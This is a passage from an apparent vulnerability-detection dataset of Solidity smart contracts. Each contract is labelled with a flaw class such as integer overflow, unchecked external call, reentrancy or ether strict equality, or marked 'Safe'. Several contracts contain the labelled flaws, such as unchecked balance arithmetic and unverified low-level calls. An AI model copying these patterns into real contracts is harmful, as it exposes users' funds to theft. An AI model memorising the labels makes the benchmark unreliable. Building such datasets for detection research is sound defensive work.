to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 34350.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 16400000; // Give the creator all initial tokens (100000 for example) totalSupply = 16400000; // Update total supply (100000 for example) name = ""Stop Tabac Coin""; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = ""STCn""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 36563.sol,"pragma solidity ^0.4.11; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract SharkProxy is Ownable { event Deposit(address indexed sender, uint256 value); event Withdrawal(address indexed to, uint256 value, bytes data); function SharkProxy() { owner = msg.sender; } function getOwner() constant returns (address) { return owner; } function forward(address _destination, uint256 _value, bytes _data) onlyOwner { require(_destination != address(0)); assert(_destination.call.value(_value)(_data)); // send eth and/or data if (_value > 0) { Withdrawal(_destination, _value, _data); } } /** * Default function; is called when Ether is deposited. */ function() payable { Deposit(msg.sender, msg.value); } /** * @dev is called when ERC223 token is deposited. */ function tokenFallback(address _from, uint _value, bytes _data) { } } contract FishProxy is SharkProxy { // this address can sign receipt to unlock account address lockAddr; function FishProxy(address _owner, address _lockAddr) { owner = _owner; lockAddr = _lockAddr; } function isLocked() constant returns (bool) { return lockAddr != 0x0; } function unlock(bytes32 _r, bytes32 _s, bytes32 _pl) { assert(lockAddr != 0x0); // parse receipt data uint8 v; uint88 target; address newOwner; assembly { v := calldataload(37) target := calldataload(48) newOwner := calldataload(68) } // check permission assert(target == uint88(address(this))); assert(newOwner == msg.sender); assert(newOwner != owner); assert(ecrecover(sha3(uint8(0), target, newOwner), v, _r, _s) == lockAddr); // update state owner = newOwner; lockAddr = 0x0; } /** * Default function; is called when Ether is deposited. */ function() payable { // if locked, only allow 0.1 ETH max // Note this doesn't prevent other contracts to send funds by using selfdestruct(address); // See: https://github.com/ConsenSys/smart-contract-best-practices#remember-that-ether-can-be-forcibly-sent-to-an-account assert(lockAddr == address(0) || this.balance <= 1e17); Deposit(msg.sender, msg.value); } } contract FishFactory { event AccountCreated(address proxy); function create(address _owner, address _lockAddr) { address proxy = new FishProxy(_owner, _lockAddr); AccountCreated(proxy); } }",./Dataset/reentrancy (RE)/,5,5 0x0486959047b0642765ebc8dfd2bc1a12cd52b8a7_luckyDogCoinToken.sol,"pragma solidity 0.4.24; /** * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * ERC Token Standard #20 Interface * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md */ contract ERC20Interface { uint256 public totalSupply; function balanceOf(address tokenOwner) public view returns (uint256 balance); function allowance(address tokenOwner, address spender) public view returns (uint256 remaining); function transfer(address to, uint256 tokens) public returns (bool success); function approve(address spender, uint256 tokens) public returns (bool success); function transferFrom(address from, address to, uint256 tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } contract luckyDogCoinToken is ERC20Interface { using SafeMath for uint256; string public symbol; string public name; uint8 public decimals; mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public allowed; modifier onlyPayloadSize(uint size) { assert(msg.data.length == size + 4); _; } constructor() public { symbol = ""LDC""; name = ""LuckyDogCoin""; decimals = 8; totalSupply = 100000 * 10**uint(decimals); balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } /** * Get the token balance for account `tokenOwner` */ function balanceOf(address tokenOwner) public view returns (uint256 balanceOfOwner) { return balances[tokenOwner]; } /** * Transfer the balance from token owner's account to `to` account * - Owner's account must have sufficient balance to transfer * - 0 value transfers are allowed */ function transfer(address to, uint256 tokens) onlyPayloadSize(2 * 32) public returns (bool success) { require(to != address(0)); require(tokens <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } /** * Token owner can approve for `spender` to transferFrom(...) `tokens` * from the token owner's account * * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md * recommends that there are no checks for the approval double-spend attack * as this should be implemented in user interfaces */ function approve(address spender, uint256 tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * Transfer `tokens` from the `from` account to the `to` account * * The calling account must already have sufficient tokens approve(...)-d * for spending from the `from` account and * - From account must have sufficient balance to transfer * - Spender must have sufficient allowance to transfer * - 0 value transfers are allowed */ function transferFrom(address from, address to, uint256 tokens) onlyPayloadSize(3 * 32) public returns (bool success) { require(to != address(0)); require(tokens <= balances[from]); require(tokens <= allowed[from][msg.sender]); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } /** * Returns the amount of tokens approved by the owner that can be * transferred to the spender's account */ function allowance(address tokenOwner, address spender) public view returns (uint256 remaining) { return allowed[tokenOwner][spender]; } /** * Don't accept ETH */ function () public payable { revert(); } }",Safe,8,8 33.sol,"pragma solidity 0.4.24; contract AbcdEfg { mapping (uint256 => Mark) public marks; string public constant name = ""abcdEfg""; string public constant symbol = ""a2g""; uint8 public constant decimals = 0; string public constant memo = ""Fit in the words here!Fit in the words here!Fit in the words here!Fit in the words here!""; mapping (address => uint256) private balances; mapping (address => uint256) private marked; uint256 private totalSupply_ = 1000; uint256 private markId = 0; event Transfer( address indexed from, address indexed to, uint256 value ); struct Mark { address author; bytes content; } constructor() public { balances[msg.sender] = totalSupply_; } function () public { mark(); } function mark() internal { require(1 + marked[msg.sender] <= balances[msg.sender]); markId ++; marked[msg.sender] ++; Mark memory temp; temp.author = msg.sender; temp.content = msg.data; marks[markId] = temp; } function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value + marked[msg.sender] <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender] - _value; balances[_to] = balances[_to] + _value; emit Transfer(msg.sender, _to, _value); return true; } }",./Dataset/integer overflow (OF)/,4,4 0x0180ec945191fda23c52b1d05eec64a2e3f68781_BnsPresale.sol,"pragma solidity ^0.4.17; // // ==== DISCLAIMER ==== // // ETHEREUM IS STILL AN EXPEREMENTAL TECHNOLOGY. // ALTHOUGH THIS SMART CONTRACT WAS CREATED WITH GREAT CARE AND IN THE HOPE OF BEING USEFUL, NO GUARANTEES OF FLAWLESS OPERATION CAN BE GIVEN. // IN PARTICULAR - SUBTILE BUGS, HACKER ATTACKS OR MALFUNCTION OF UNDERLYING TECHNOLOGY CAN CAUSE UNINTENTIONAL BEHAVIOUR. // YOU ARE STRONGLY ENCOURAGED TO STUDY THIS SMART CONTRACT CAREFULLY IN ORDER TO UNDERSTAND POSSIBLE EDGE CASES AND RISKS. // DON'T USE THIS SMART CONTRACT IF YOU HAVE SUBSTANTIAL DOUBTS OR IF YOU DON'T KNOW WHAT YOU ARE DOING. // // THIS SOFTWARE IS PROVIDED ""AS IS"" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY // AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, // INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, // OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // ==== // // // ==== PARANOIA NOTICE ==== // A careful reader will find some additional checks and excessive code, consuming some extra gas. This is intentional. // Even though the contract should work without these parts, they make the code more secure in production and for future refactoring. // Also, they show more clearly what we have considered and addressed during development. // Discussion is welcome! // ==== // /// @author ethernian /// @notice report bugs to: [email protected] /// @title BnsPresale Contract contract BnsPresale { string public constant VERSION = ""0.2.0-bns-test-03-max_1_eth""; /* ====== configuration START ====== */ uint public constant PRESALE_START = 4465500; /* approx. TUE OCT 31 2017 19:16:32 GMT+0100 (CET) */ uint public constant PRESALE_END = 4466550; /* approx. TUE OCT 31 2017 23:09:47 GMT+0100 (CET) */ uint public constant WITHDRAWAL_END = 4469000; /* approx. WED NOV 01 2017 08:53:50 GMT+0100 (CET) */ address public constant OWNER = 0xcEAfe38b8d3802789A2A2cc45EA5d08bE8EA3b49; uint public constant MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH = 0; uint public constant MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH = 1; uint public constant MIN_ACCEPTED_AMOUNT_FINNEY = 1; /* ====== configuration END ====== */ string[5] private stateNames = [""BEFORE_START"", ""PRESALE_RUNNING"", ""WITHDRAWAL_RUNNING"", ""REFUND_RUNNING"", ""CLOSED"" ]; enum State { BEFORE_START, PRESALE_RUNNING, WITHDRAWAL_RUNNING, REFUND_RUNNING, CLOSED } uint public total_received_amount; uint public total_refunded; mapping (address => uint) public balances; uint private constant MIN_TOTAL_AMOUNT_TO_RECEIVE = MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether; uint private constant MAX_TOTAL_AMOUNT_TO_RECEIVE = MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether; uint private constant MIN_ACCEPTED_AMOUNT = MIN_ACCEPTED_AMOUNT_FINNEY * 1 finney; bool public isAborted = false; bool public isStopped = false; //constructor function BnsPresale () public validSetupOnly() { } // // ======= interface methods ======= // //accept payments here function () payable noReentrancy public { State state = currentState(); if (state == State.PRESALE_RUNNING) { receiveFunds(); } else if (state == State.REFUND_RUNNING) { // any entring call in Refund Phase will cause full refund sendRefund(); } else { revert(); } } function refund() external inState(State.REFUND_RUNNING) noReentrancy { sendRefund(); } function withdrawFunds() external onlyOwner noReentrancy { // transfer funds to owner if any OWNER.transfer(this.balance); } function abort() external inStateBefore(State.REFUND_RUNNING) onlyOwner { isAborted = true; } function stop() external inState(State.PRESALE_RUNNING) onlyOwner { isStopped = true; } //displays current contract state in human readable form function state() external constant returns (string) { return stateNames[ uint(currentState()) ]; } // // ======= implementation methods ======= // function sendRefund() private tokenHoldersOnly { // load balance to refund plus amount currently sent uint amount_to_refund = min(balances[msg.sender], this.balance - msg.value) ; // change balance balances[msg.sender] -= amount_to_refund; total_refunded += amount_to_refund; // send refund back to sender msg.sender.transfer(amount_to_refund + msg.value); } function receiveFunds() private notTooSmallAmountOnly { // no overflow is possible here: nobody have soo much money to spend. if (total_received_amount + msg.value > MAX_TOTAL_AMOUNT_TO_RECEIVE) { // accept amount only and return change var change_to_return = total_received_amount + msg.value - MAX_TOTAL_AMOUNT_TO_RECEIVE; var acceptable_remainder = MAX_TOTAL_AMOUNT_TO_RECEIVE - total_received_amount; balances[msg.sender] += acceptable_remainder; total_received_amount += acceptable_remainder; msg.sender.transfer(change_to_return); } else { // accept full amount balances[msg.sender] += msg.value; total_received_amount += msg.value; } } function currentState() private constant returns (State) { if (isAborted) { return this.balance > 0 ? State.REFUND_RUNNING : State.CLOSED; } else if (block.number < PRESALE_START) { return State.BEFORE_START; } else if (block.number <= PRESALE_END && total_received_amount < MAX_TOTAL_AMOUNT_TO_RECEIVE && !isStopped) { return State.PRESALE_RUNNING; } else if (this.balance == 0) { return State.CLOSED; } else if (block.number <= WITHDRAWAL_END && total_received_amount >= MIN_TOTAL_AMOUNT_TO_RECEIVE) { return State.WITHDRAWAL_RUNNING; } else { return State.REFUND_RUNNING; } } function min(uint a, uint b) pure private returns (uint) { return a < b ? a : b; } // // ============ modifiers ============ // //fails if state doesn't match modifier inState(State state) { assert(state == currentState()); _; } //fails if the current state is not before than the given one. modifier inStateBefore(State state) { assert(currentState() < state); _; } //fails if something in setup is looking weird modifier validSetupOnly() { if ( OWNER == 0x0 || PRESALE_START == 0 || PRESALE_END == 0 || WITHDRAWAL_END ==0 || PRESALE_START <= block.number || PRESALE_START >= PRESALE_END || PRESALE_END >= WITHDRAWAL_END || MIN_TOTAL_AMOUNT_TO_RECEIVE > MAX_TOTAL_AMOUNT_TO_RECEIVE ) revert(); _; } //accepts calls from owner only modifier onlyOwner(){ assert(msg.sender == OWNER); _; } //accepts calls from token holders only modifier tokenHoldersOnly(){ assert(balances[msg.sender] > 0); _; } // don`t accept transactions with value less than allowed minimum modifier notTooSmallAmountOnly(){ assert(msg.value >= MIN_ACCEPTED_AMOUNT); _; } //prevents reentrancy attacs bool private locked = false; modifier noReentrancy() { assert(!locked); locked = true; _; locked = false; } }//contract",Safe,8,8 429.sol,"pragma solidity ^0.4.18; /** * @title SafeMath */ library SafeMath { /** * Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract AltcoinToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Hotto is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = ""Hotto""; string public constant symbol = ""HT""; uint public constant decimals = 8; uint256 public totalSupply = 10000000000e8; uint256 public totalDistributed = 0; uint256 public tokensPerEth = 30000000e8; uint256 public constant minContribution = 1 ether / 100; // 0.01 Ether event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function HT () public { owner = msg.sender; uint256 devTokens = 1000000000e8; distr(owner, devTokens); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner { doAirdrop(_participant, _amount); } function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; require( msg.value >= minContribution ); require( msg.value > 0 ); tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (tokens > 0) { distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ AltcoinToken t = AltcoinToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawAltcoinTokens(address _tokenContract) onlyOwner public returns (bool) { AltcoinToken token = AltcoinToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }",./Dataset/ether strict equality (SE),3,3 2991.sol,"pragma solidity ^0.4.24; contract PCKevents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 PCPAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 PCPAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 PCPAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 PCPAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularKey is PCKevents {} contract PlayCoinKey is modularKey { using SafeMath for *; using NameFilter for string; using PCKKeysCalcLong for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x14229878e85e57FF4109dc27bb2EfB5EA8067E6E); string constant public name = ""PlayCoin Key""; string constant public symbol = ""PCK""; uint256 private rndExtra_ = 2 minutes; uint256 private rndGap_ = 15 minutes; uint256 constant private rndInit_ = 24 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256 constant private rndMin_ = 10 minutes; uint256 public reduceMul_ = 3; uint256 public reduceDiv_ = 2; uint256 public rndReduceThreshold_ = 10e18; bool public closed_ = false; address private admin = msg.sender; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => PCKdatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => PCKdatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => PCKdatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => PCKdatasets.TeamFee) public fees_; mapping (uint256 => PCKdatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = PCKdatasets.TeamFee(30,6); fees_[1] = PCKdatasets.TeamFee(43,0); fees_[2] = PCKdatasets.TeamFee(56,10); fees_[3] = PCKdatasets.TeamFee(43,8); potSplit_[0] = PCKdatasets.PotSplit(15,10); potSplit_[1] = PCKdatasets.PotSplit(25,0); potSplit_[2] = PCKdatasets.PotSplit(20,20); potSplit_[3] = PCKdatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isRoundActivated() { require(round_[rID_].ended == false, ""the round is finished""); _; } modifier isHuman() { require(msg.sender == tx.origin, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } modifier onlyAdmins() { require(msg.sender == admin, ""onlyAdmins failed - msg.sender is not an admin""); _; } function kill () onlyAdmins() public { require(round_[rID_].ended == true && closed_ == true, ""the round is active or not close""); selfdestruct(admin); } function getRoundStatus() isActivated() public view returns(uint256, bool){ return (rID_, round_[rID_].ended); } function setThreshold(uint256 _threshold, uint256 _mul, uint256 _div) onlyAdmins() public { require(_threshold > 0, ""threshold must greater 0""); require(_mul > 0, ""mul must greater 0""); require(_div > 0, ""div must greater 0""); rndReduceThreshold_ = _threshold; reduceMul_ = _mul; reduceDiv_ = _div; } function setEnforce(bool _closed) onlyAdmins() public returns(bool, uint256, bool) { closed_ = _closed; if( !closed_ && round_[rID_].ended == true && activated_ == true ){ nextRound(); } else if( closed_ && round_[rID_].ended == false && activated_ == true ){ round_[rID_].end = now - 1; } return (closed_, rID_, now > round_[rID_].end); } function() isActivated() isRoundActivated() isHuman() isWithinLimits(msg.value) public payable { PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isRoundActivated() isHuman() isWithinLimits(msg.value) public payable { PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isRoundActivated() isHuman() isWithinLimits(msg.value) public payable { PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || 